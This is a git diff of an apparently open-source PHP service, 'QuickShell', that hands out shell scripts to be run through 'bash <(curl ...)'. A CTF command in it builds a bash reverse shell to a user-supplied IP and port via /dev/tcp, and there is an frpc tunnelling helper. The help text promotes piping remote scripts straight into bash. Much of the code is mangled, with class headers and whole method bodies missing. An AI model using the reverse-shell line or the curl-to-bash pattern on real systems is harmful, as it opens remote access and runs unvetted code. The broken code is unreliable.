diff --git a/composer.json b/composer.json index e5924c1..30a4329 100644 --- a/composer.json +++ b/composer.json @@ -3,11 +3,10 @@ "description": "Run Shell Scripts as Fast as Possible", "minimum-stability": "stable", "license": "Apache-2.0", - "version": "1.0.0", "type": "project", "prefer-stable": true, "require": { - "php": ">=7.4", + "php": ">=8.0", "zhamao/framework": "^2.4", "ext-json": "*" }, diff --git a/config/global.php b/config/global.php index 791cd28..e7ec834 100644 --- a/config/global.php +++ b/config/global.php @@ -4,6 +4,8 @@ declare(strict_types=1); +$config = []; + /* bind host */ $config['host'] = '127.0.0.1'; @@ -11,7 +13,7 @@ $config['host'] = '127.0.0.1'; $config['port'] = 30001; /* 框架开到公网或外部的HTTP访问链接,通过 DataProvider::getFrameworkLink() 获取 */ -$config['http_reverse_link'] = 'http://shell.zhamao.xin/'; +$config['http_reverse_link'] = 'http://shell.zhamao.xin'; /* 框架是否启动debug模式,当debug模式为true时,启用热更新(需要安装inotify扩展) */ $config['debug_mode'] = false; @@ -28,7 +30,7 @@ $config['crash_dir'] = $config['zm_data'] . 'crash/'; /* 对应swoole的server->set参数 */ $config['swoole'] = [ 'log_file' => $config['crash_dir'] . 'swoole_error.log', - // 'worker_num' => swoole_cpu_num(), //如果你只有一个 OneBot 实例连接到框架并且代码没有复杂的CPU密集计算,则可把这里改为1使用全局变量 + 'worker_num' => 1, //如果你只有一个 OneBot 实例连接到框架并且代码没有复杂的CPU密集计算,则可把这里改为1使用全局变量 'dispatch_mode' => 2, // 包分配原则,见 https://wiki.swoole.com/#/server/setting?id=dispatch_mode 'max_coroutine' => 300000, 'max_wait_time' => 5, diff --git a/src/QuickShell/Annotations/Command.php b/src/QuickShell/Annotations/Command.php new file mode 100644 index 0000000..ef4b89d --- /dev/null +++ b/src/QuickShell/Annotations/Command.php @@ -0,0 +1,43 @@ +name = $name; + $this->description = $description; + $this->alias = $alias; + } +} \ No newline at end of file diff --git a/src/QuickShell/Annotations/CommandArgument.php b/src/QuickShell/Annotations/CommandArgument.php new file mode 100644 index 0000000..53d4195 --- /dev/null +++ b/src/QuickShell/Annotations/CommandArgument.php @@ -0,0 +1,46 @@ +argument_name = $argument_name; + $this->description = $description; + $this->one_argument = $one_argument; + $this->allow_empty = $allow_empty; + } +} \ No newline at end of file diff --git a/src/QuickShell/Annotations/CommandCategory.php b/src/QuickShell/Annotations/CommandCategory.php new file mode 100644 index 0000000..e7867ae --- /dev/null +++ b/src/QuickShell/Annotations/CommandCategory.php @@ -0,0 +1,34 @@ +category = $category; + $this->description = $description; + } +} \ No newline at end of file diff --git a/src/QuickShell/Annotations/CommandOption.php b/src/QuickShell/Annotations/CommandOption.php new file mode 100644 index 0000000..7c38286 --- /dev/null +++ b/src/QuickShell/Annotations/CommandOption.php @@ -0,0 +1,41 @@ +option_name = $option_name; + $this->description = $description; + $this->required = $required; + } +} \ No newline at end of file diff --git a/src/QuickShell/Commands/CTFCommand.php b/src/QuickShell/Commands/CTFCommand.php new file mode 100644 index 0000000..1db3248 --- /dev/null +++ b/src/QuickShell/Commands/CTFCommand.php @@ -0,0 +1,111 @@ +& /dev/tcp/' . escapeshellarg($params['ip']) . '/' . intval($params['port']) . ' 0>&1 || { echo -e "\033[31mConnection failed, please check target listen port accessibility\033[0m "; false; }'); + } + + #[Command(name: 'frpc', description: '快速使用frpc代理一个内网穿透一个端口,提供一个目标的IP和TCP端口即可')] + #[CommandArgument(argument_name: 'remote_addr', description: 'frps的服务器IP:端口')] + #[CommandArgument(argument_name: 'local_ip', description: '本地监听IP')] + #[CommandArgument(argument_name: 'local_port', description: '本地监听端口')] + #[CommandArgument(argument_name: 'remote_port', description: '目标端口')] + #[CommandOption(option_name: 'type', description: '链接类型(tcp或udp)', required: true)] + #[CommandOption(option_name: 'token', description: 'frps连接的token', required: true)] + public function frpc(array $params): string + { + $cmd = <<getShellList()); + $response .= "\n\n\t" . Console::setColor('help/{命令名}', "yellow") . ":\t查看对应的命令详情"; + $response .= "\n使用方法:\n\t在路径右方填入要使用的名称即可."; + $response .= "\n\t输入右侧命令\tbash <(curl -s " . ZMConfig::get('global')['http_reverse_link'] . "/{name})"; + $response .= "\n\t使用例子\tbash <(curl -s " . ZMConfig::get('global')['http_reverse_link'] . "/neofetch)"; + return $response; + } + + /** + * @throws ReflectionException + */ + #[Command('help', '查看帮助', alias: 'h')] + #[CommandArgument('command', description: '查看指定命令的帮助信息', one_argument: true, allow_empty: true)] + public function defaultCommand(array $params): string + { + zm_dump(QuickShellProvider::$shells); + $name = trim($params['command'], '/'); + if ($name === '') { + return rawtext(self::getHelpTemplate()); + } + if (isset(QuickShellProvider::$shells[$name])) { + $event = QuickShellProvider::$shells[$name]['command']; + $reflection = new ReflectionClass($event->class); + $method = $reflection->getMethod($event->method); + $cmd = $method->getNumberOfRequiredParameters() === 0 ? $method->invoke($reflection->newInstance()) : '(* 此命令需要参数,如需查看源码,使用/showcode/'.$name.' *)'; + $reply = Console::setColor($event->name, 'green') . ":"; + $reply .= "\n\t要执行的命令:\t" . $cmd; + return rawtext($reply); + } + return rawtext('命令不存在: ' . $name); + } + + /** + * @throws ReflectionException + */ + #[Command('showcode')] + #[CommandArgument('command', description: '查看指定命令的源码', one_argument: true, allow_empty: true)] + public function helpCommandCode(array $params): string + { + zm_dump(QuickShellProvider::$shells); + $name = trim($params['command'], '/'); + if ($name === '') { + return rawtext('请在后方输入命令名称再试!'); + } + if (isset(QuickShellProvider::$shells[$name])) { + $event = QuickShellProvider::$shells[$name]['command']; + $reflection = new ReflectionClass($event->class); + $method = $reflection->getMethod($event->method); + $file = file_get_contents($method->getFileName()); + $file = str_replace("\r", '', $file); + $file = explode("\n", $file); + $fileline = []; + for ($i = $method->getStartLine() - 1; $i < $method->getEndLine(); $i++) { + $fileline[] = $file[$i]; + } + return rawtext(implode("\n", $fileline), false); + } + return rawtext('命令不存在: ' . $name); + } +} \ No newline at end of file diff --git a/src/QuickShell/Commands/SpeedtestCommand.php b/src/QuickShell/Commands/SpeedtestCommand.php new file mode 100644 index 0000000..701800b --- /dev/null +++ b/src/QuickShell/Commands/SpeedtestCommand.php @@ -0,0 +1,38 @@ +generateCommandList(); + } + + #[OnRequestEvent(rule: "true")] + public function onRequest(Request $request) + { + // 寻找匹配的Command注解函数 + list($cmd, $params) = QuickShellProvider::getInstance()->matchCommand($request->server['request_uri'], ctx()->getRequest()->get ?? []); + + /** @var Command $cmd */ + $dispatcher = new EventDispatcher(Command::class); + $dispatcher->dispatchEvent($cmd, null, $params); + ctx()->getResponse()->end($dispatcher->store ?? ''); } /** - * @RequestMapping("/") - * @RequestMapping("/index") - * @RequestMapping("/list") - */ - public function index() - { - $response = implode("\n", QuickShellProvider::getInstance()->getShellList()) . PHP_EOL; - $response .= "普通执行:\tcurl -s http://shell.zhamao.xin/run/{name} | bash" . PHP_EOL; - $response .= "交互执行:\tbash <(curl -s http://shell.zhamao.xin/run/{name})" . PHP_EOL; - return $response; - } - - /** - * @RequestMapping("/test") - * @return string - */ - public function test() - { - return cmd('bash -c "$(curl -fsSL https://api.zhamao.xin/tools/env.sh)"'); - } - - /** - * @RequestMapping("/run") - */ - public function runHelp() - { - return cmd('echo ""'); - } - - /** - * @RequestMapping("/run/{name}") - * - * @param $param - * @return string - */ - public function run($param): string - { - $shell = QuickShellProvider::getInstance()->isShellExists($param['name']); - if (!$shell) { - return cmd("echo 'shell \"".$param['name']."\" not found'"); - } - return cmd(QuickShellProvider::getInstance()->getShellCommand($param['name'])); - } - - /** - * 阻止 Chrome 自动请求 /favicon.ico 导致的多条请求并发和干扰 - * @OnRequestEvent(rule="ctx()->getRequest()->server['request_uri'] == '/favicon.ico'",level=200) * @throws InterruptException */ - public function onRequest() + #[OnRequestEvent(rule: "ctx()->getRequest()->server['request_uri'] === '/favicon.ico'", level: 200)] + public function onBanFavicon() { EventDispatcher::interrupt(); } diff --git a/src/QuickShell/QuickShellProvider.php b/src/QuickShell/QuickShellProvider.php index 0f14cbd..662b1a7 100644 --- a/src/QuickShell/QuickShellProvider.php +++ b/src/QuickShell/QuickShellProvider.php @@ -2,34 +2,192 @@ namespace QuickShell; -use ZM\Config\ZMConfig; +use QuickShell\Annotations\Command; +use QuickShell\Annotations\CommandArgument; +use QuickShell\Annotations\CommandCategory; +use QuickShell\Annotations\CommandOption; +use QuickShell\Commands\HelpCommand; use ZM\Console\Console; +use ZM\Event\EventDispatcher; +use ZM\Event\EventManager; +use ZM\Event\EventMapIterator; +use ZM\Exception\InterruptException; use ZM\Utils\SingletonTrait; class QuickShellProvider { use SingletonTrait; + const RESERVED_COMMANDS = ['help']; + + public static array $shells = []; + + public static array $shell_alias = []; + + /** + * 返回所有命令的帮助列表 + * @return array + */ public function getShellList(): array { $ls = []; - foreach (ZMConfig::get('shell_list') as $shell_name => $shell_class) { - $ls[] = Console::setColor($shell_name, 'green') . ":\t" . $shell_class['description']; + $max_len = 0; + foreach (self::$shells as $shell => $v) { + $line = Console::setColor($shell, 'green') . ": "; + if ($max_len < mb_strwidth($shell . ": ")) $max_len = mb_strwidth($shell . ": "); + $description = $v['command']->description ?: '暂无描述'; + $len = mb_strwidth($shell . ": "); + $ls[] = [$line, $len, $description]; } - return $ls; + foreach ($ls as $k => $v) { + $ls[$k][0] = $v[0] . str_repeat(' ', $max_len - $v[1]); + } + + return array_map(function ($x) { + return $x[0] . $x[2]; + }, $ls); } - public function isShellExists($name) + /** + * 输入uri,输出匹配的command注解事件 + * @param string $uri + * @param array $get + * @return array + * @throws InterruptException + */ + public function matchCommand(string $uri, array $get): array { - return array_key_exists($name, ZMConfig::get('shell_list')); + $has_right_slash = mb_substr($uri, -1, 1) === '/'; + // 去除两端的斜杠 + $origin_uri = $uri = trim($uri, '/'); + $input_params = $get; + $cmd = null; + + foreach (self::$shells as $k => $v) { + if (mb_strpos($uri . '/', $k . '/') === 0) { // 右侧加盖防止匹配到短名称误匹配 + $cmd = $k; + $uri = trim(mb_substr($uri, mb_strlen($cmd)), '/'); + break; + + } + } + + foreach (self::$shell_alias as $k => $v) { + if (mb_strpos($uri . '/', $k . '/') === 0) { // 右侧加盖防止匹配到短名称误匹配 + $cmd = $v; + $uri = trim(mb_substr($uri, mb_strlen($k)), '/'); + break; + } + } + + if ($cmd !== null) { + // 接下来解析参数 + $args = []; + foreach (self::$shells[$cmd]['arguments'] as $arg) { + /** @var CommandArgument $arg */ + if ($arg->one_argument) { // 如果后面的作为统一参数,则直接返回结果,无视CommandOption和后面的所有CommandArgument + if ($arg->allow_empty || $uri !== '') { + return [self::$shells[$cmd]['command'], [$arg->argument_name => urldecode($uri) . ($has_right_slash ? '/' : '')]]; + } else { + ctx()->getResponse()->end(rawtext('命令 ' . $cmd . ' 参数 ' . $arg->argument_name . ' 为必需参数,不可为空!' . PHP_EOL . $this->generateHelpArgument($cmd))); + throw new InterruptException(); + } + } else { // 如果必需但参数单一,则shift一个参数 + if ($uri === '') { + ctx()->getResponse()->end(rawtext('命令 ' . $cmd . ' 参数 ' . $arg->argument_name . ' 为必需参数,不可为空!' . PHP_EOL . $this->generateHelpArgument($cmd))); + throw new InterruptException(); + } + $uri .= '/'; + $arg_value = mb_substr($uri, 0, mb_strpos($uri, '/')); // 右侧加盖防止匹配不到或匹配出现错误 + $uri = rtrim(mb_substr($uri, mb_strpos($uri, '/') + 1), '/'); // 下一个参数 + $args[$arg->argument_name] = $arg_value; + } + } + $divide = explode('/', $uri); + foreach ($divide as $vs) { + if ($vs === '') continue; + $ss = explode("=", $vs); + if ($ss[0] === '') continue; + $input_params[$ss[0]] = $ss[1] ?? ''; + } + foreach (self::$shells[$cmd]['options'] as $obj) { + if ($obj->required === false) { + $args[$obj->option_name] = isset($input_params[$obj->option_name]); + } else { + if (isset($input_params[$obj->option_name])) { + if ($input_params[$obj->option_name] === '') { + ctx()->getResponse()->end(rawtext('命令 ' . $cmd . ' 参数 ' . $obj->option_name . ' 不能为空')); + EventDispatcher::interrupt(); + } else { + $args[$obj->option_name] = urldecode($input_params[$obj->option_name]); + } + } else { + $args[$obj->option_name] = null; + } + } + } + return [self::$shells[$cmd]['command'], $args]; + } + ctx()->getResponse()->end(rawtext($origin_uri !== '' ? ('无法匹配此快捷命令: ' . $origin_uri) : HelpCommand::getHelpTemplate())); + throw new InterruptException; + } + /* + ctf/asd/ihui/ + ctf/asd/ + ctf/asdasdasd/ + help/isi/ + * */ + /** + * 启动前生成每个进程下的命令缓存,避免每次请求都要遍历所有的注解来找命令 + */ + public function generateCommandList() + { + foreach ((EventManager::$events[Command::class] ?? []) as $command) { + /** @var Command $command */ + // 将category和命令名称结合,组成真正的名称 + $name = trim($command->name, '/'); + $category_store = null; + foreach ((new EventMapIterator($command->class, $command->method, CommandCategory::class)) as $category) { + /** @var CommandCategory $category */ + if ($category->category !== '') { + $category_store = $category->category; + $name = trim($category->category, '/') . '/' . $name; + break; + } + } + // 缓存arguments + $arguments = []; + foreach ((new EventMapIterator($command->class, $command->method, CommandArgument::class)) as $argument) { + /** @var CommandArgument $argument */ + $arguments[] = $argument; + } + // 缓存options + $options = []; + foreach ((new EventMapIterator($command->class, $command->method, CommandOption::class)) as $option) { + /** @var CommandOption $option */ + $options[] = $option; + } + // 缓存command + self::$shells[$name] = [ + 'category' => $category_store, + 'command' => $command, + 'arguments' => $arguments, + 'options' => $options, + ]; + if ($command->alias !== '') { + $alias_name = $category_store !== null ? trim($category_store, '/') . '/' . $command->alias : $command->alias; + self::$shell_alias[$alias_name] = $name; + } + } } - public function getShellCommand($name) + private function generateHelpArgument(string $cmd) { - $d = ZMConfig::get('shell_list')[$name]['command'] ?? null; - if ($d === null) { - return 'echo "command not found"'; + $arg = Console::setColor($cmd . ' 命令参数指引', 'yellow') . ': ' . PHP_EOL . "\t$cmd"; + foreach (self::$shells[$cmd]['arguments'] as $argument) { + /** @var CommandArgument $argument */; + $arg .= '/' . Console::setColor('{' . $argument->argument_name . '}', 'green'); } - return $d; + return $arg; } } \ No newline at end of file diff --git a/src/QuickShell/global_function.php b/src/QuickShell/global_function.php index 090790d..8c751e3 100644 --- a/src/QuickShell/global_function.php +++ b/src/QuickShell/global_function.php @@ -1,6 +1,17 @@